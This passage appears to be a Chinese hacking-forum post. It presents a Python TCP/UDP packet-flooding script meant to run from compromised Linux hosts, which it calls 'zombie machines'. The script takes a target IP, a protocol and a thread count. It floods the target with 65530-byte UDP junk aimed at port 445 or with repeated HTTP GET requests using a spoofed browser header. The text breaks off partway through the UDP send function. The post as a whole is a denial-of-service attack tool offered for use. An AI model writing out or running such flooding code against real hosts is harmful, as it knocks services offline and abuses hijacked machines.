现在肉鸡上面linux越来越多,都默认安装了python,有时候没有工具的时候可以自己写一个:
下面是支持 tcp和udp的python的发包代码:
import socket,sys,threading
if len(sys.argv)!=4:
print('使用方法:\n'+sys.argv[0],'目标ip','协议[tcp | udp]','线程数')
sys.exit(1)
ip=sys.argv[1]
tp='send'+sys.argv[2].strip().lower()
tno=int(sys.argv[3])
udpdata=b'a'*65530
tcpdata='''GET / HTTP/1.1
Connection: keep-alive
Host: {}
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko)
Chrome/17.0.963.46 Safari/535.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
'''.format(ip).encode()
def sendudp(host,port=445):
s=socket.socket(socket.AF_INET,so